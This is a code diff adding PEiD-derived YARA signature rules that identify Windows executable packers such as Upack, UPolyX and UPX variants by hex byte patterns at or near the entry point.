+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+    condition:
+        $a
+}
+
+rule PEiD_02376_Upack_v0_31_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.31 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+    condition:
+        $a
+}
+
+rule PEiD_02377_Upack_v0_32_Beta__Patch_____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta (Patch) -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02378_Upack_v0_32_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.32 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+    condition:
+        $a
+}
+
+rule PEiD_02379_Upack_v0_32_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02380_Upack_v0_32_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02381_Upack_v0_33___v0_34_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.33 ~ v0.34 Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? 59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+    condition:
+        $a
+}
+
+rule PEiD_02382_Upack_v0_35_alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.35 alpha -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+    condition:
+        $a
+}
+rule PEiD_02383_Upack_V0_36____Dwing_
+{
+    meta:
+        description = "[Upack V0.36 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02384_Upack_V0_36____Dwing_
+{
+    meta:
+        description = "[Upack V0.36 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02385_Upack_v0_36_alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.36 alpha -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02386_Upack_v0_37_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.37 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+    condition:
+        $a
+}
+rule PEiD_02387_Upack_v0_37___v0_38_Beta__Strip_base_relocation_table_Option_____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option) -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+    condition:
+        $a
+}
+
+rule PEiD_02388_Upack_V0_37_V0_39____Dwing_
+{
+    meta:
+        description = "[Upack V0.37-V0.39 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_02389_Upack_v0_38_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.38 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+    condition:
+        $a
+}
+
+rule PEiD_02390_Upack_v0_39_final____Dwing__h__
+{
+    meta:
+        description = "[Upack v0.39 final -> Dwing (h)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02391_Upack_v0_39_final____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.39 final -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+    condition:
+        $a
+}
+
+rule PEiD_02392_Upack_v0_39_final____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.39 final -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02393_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00}
+    condition:
+        $a
+}
+rule PEiD_02394_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+    condition:
+        $a
+}
+
+rule PEiD_02395_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+    condition:
+        $a
+}
+
+rule PEiD_02396_Upack_V0_3X____Dwing_
+{
+    meta:
+        description = "[Upack V0.3X -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+    condition:
+        $a
+}
+rule PEiD_02397_Upack_Patch____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {81 3A 00 00 00 02 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02398_Upack_Patch____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {2A A3 F2 54 CE}
+    condition:
+        $a
+}
+
+rule PEiD_02399_Upack_Patch_or_any_Version____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch or any Version -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+    condition:
+        $a
+}
+rule PEiD_02400_Upack_Unknown__DLL_________Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Unknown (DLL ???) -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+    condition:
+        $a
+}
+
+rule PEiD_02401_UPolyX_0_x____Delikon_
+{
+    meta:
+        description = "[UPolyX 0.x -> Delikon]"
+        ep_only = "true"
+    strings:
+        $a = {81 FD 00 FB FF FF 83 D1 ?? 8D 14 2F 83 FD FC 76 ?? 8A 02 42 88 07 47 49 75}
+    condition:
+        $a
+}
+/*
+rule PEiD_02402_UPolyX_V0_1____Delikon_
+{
+    meta:
+        description = "[UPolyX V0.1 -> Delikon]"
+        ep_only = "false"
+    strings:
+        $a = {E2 ?? FF ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02403_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02404_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02405_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02406_UPX___ECLiPSE_layer_
+{
+    meta:
+        description = "[UPX + ECLiPSE layer]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+    condition:
+        $a
+}
+rule PEiD_02407_UPX____www_upx_sourceforge_net_
+{
+    meta:
+        description = "[UPX -> www.upx.sourceforge.net]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE ?? ?0 4? 00 8D BE ?? ?? F? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02408_UPX____www_upx_sourceforge_net_
+{
+    meta:
+        description = "[UPX -> www.upx.sourceforge.net]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE ?? ?? ?? 00 8D BE ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02409_UPX_0_50___0_70_
+{
+    meta:
+        description = "[UPX 0.50 - 0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D}
+    condition:
+        $a
+}
+
+rule PEiD_02410_UPX_0_72_
+{
+    meta:
+        description = "[UPX 0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+    condition:
+        $a
+}
+rule PEiD_02411_UPX_2_00_3_0X____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX 2.00-3.0X -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02412_UPX_2_00_3_0X____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX 2.00-3.0X -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+rule PEiD_02413_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_02414_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+    condition:
+        $a
+}
+
+rule PEiD_02415_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+    condition:
+        $a
+}
+rule PEiD_02416_UPX_2_93__LZMA__
+{
+    meta:
+        description = "[UPX 2.93 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_02417_UPX_3_02_
+{
+    meta:
+        description = "[UPX 3.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C}
+    condition:
+        $a
+}
+
+rule PEiD_02418_UPX__com_
+{
+    meta:
+        description = "[UPX [com]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BE ?? ?? BF C0 FF FD}
+    condition:
+        $a
+}
+
+rule PEiD_02419_UPX_Alternative_stub_
+{
+    meta:
+        description = "[UPX Alternative stub]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+    condition:
+        $a
+}
+
+rule PEiD_02420_UPX_Inliner_1_0_by_GPcH_
+{
+    meta:
+        description = "[UPX Inliner 1.0 by GPcH]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+    condition:
+        $a
+}
+
+rule PEiD_02421_UPX_Inliner_v1_0_by_GPcH_
+{
+    meta:
+        description = "[UPX Inliner v1.0 by GPcH]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 05 FF FF FF 85 C0 0F 84 06 03 00 00 89 85 C5 FE FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD A9 FE FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 09 FF FF FF FF B5 05 FF FF FF 56 57 FF 95 C5 FE FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 C5 FE FF FF FF 95 09 FF FF FF 8D}
+    condition:
+        $a
+}
+
+
+
+------
+
+rule PEiD_02422_UPX_Modified_Stub_b____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub b -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02423_UPX_Modified_Stub_b____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub b -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02424_UPX_Modified_Stub_c____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub c -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02425_UPX_Modified_Stub_c____Farb_rausch_Consumer_Consulting_
+{
+    meta:
+        description = "[UPX Modified Stub c -> Farb-rausch Consumer Consulting]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2A 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 56 89 FE 29 C6 F3 A4 5E EB 9F 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 FF D3 11 C9 FF D3 72 F8 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02426_UPX_Modified_stub_
+{
+    meta:
+        description = "[UPX Modified stub]"
+        ep_only = "true"
+    strings:
+        $a = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02427_UPX_Modifier_v0_1x_
+{
+    meta:
+        description = "[UPX Modifier v0.1x]"
+        ep_only = "true"
+    strings:
+        $a = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+    condition:
+        $a at pe.entry_point
+}
+
